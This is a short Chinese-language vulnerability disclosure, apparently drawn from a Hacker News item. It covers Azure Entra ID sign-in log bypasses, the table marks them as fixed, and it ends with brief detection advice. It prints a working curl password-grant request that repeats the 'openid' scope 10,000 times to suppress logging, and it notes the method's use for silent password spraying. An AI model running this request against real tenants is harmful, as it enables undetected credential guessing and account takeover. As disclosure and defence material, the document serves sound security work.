Security
Azure
Vulnerability
Azure Sign-In Log Bypass - 完整披露
摘要
安全研究员发现第三和第四次 Azure Entra ID 登录日志绕过漏洞。可以获取有效 token 而不在日志中留下记录,这是管理员检测入侵的关键日志。
⚠️ 严重安全漏洞 - 攻击者可在不被发现的情况下验证密码并获取有效 token
历史发现
| 名称 | 报告时间 | 修复时间 | 描述 |
|---|---|---|---|
| GraphNinja | 08/2023 | 05/2024 | 通过指定外国 tenant ID 验证密码但不创建日志 |
| GraphGhost | 12/2024 | 04/2025 | 提供无效参数导致凭证验证后整体失败 |
| GraphGoblin | 2025 | 已修复 | 重复 scope 参数溢出 SQL 列 |
| Graph**** | 2025 | 已修复 | 另一种绕过方式 |
GraphGoblin 详细分析
攻击原理
通过提交重复的 scope 值(如 openid openid openid...)导致 SQL 列溢出,整个 INSERT 失败:
export TENANT_ID="[tenant-guid-goes-here]"
curl -X POST "https://login.microsoftonline.com/${TENANT_ID}/oauth2/v2.0/token" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "client_id=f05ff7c9-f75a-4acd-a3b5-f4b6a870245d" \
--data-urlencode "grant_type=password" \
--data-urlencode "username=user@tenant.com" \
--data-urlencode "password=secretpassword123" \
--data-urlencode "scope=$(for num in {1..10000}; do echo -n 'openid ';done)"
为什么有效
- SQL 列长度溢出导致整个插入失败
- 凭证验证已完成,但日志记录失败
- 返回有效 token,但日志中无记录
- 管理员看不到任何登录尝试
影响
- 攻击者可以无限次尝试密码
- 获取有效 access token 和 refresh token
- 完全绕过 SIEM 和威胁检测
- 适合密码喷洒攻击
检测建议
使用 KQL 查询检测异常登录模式:
- 检查 scope 字段异常长度
- 监控多次失败后的成功登录
- 关注非工作时间的大量认证尝试
URL
来源: Hacker News | 发现日期: 2026-03-20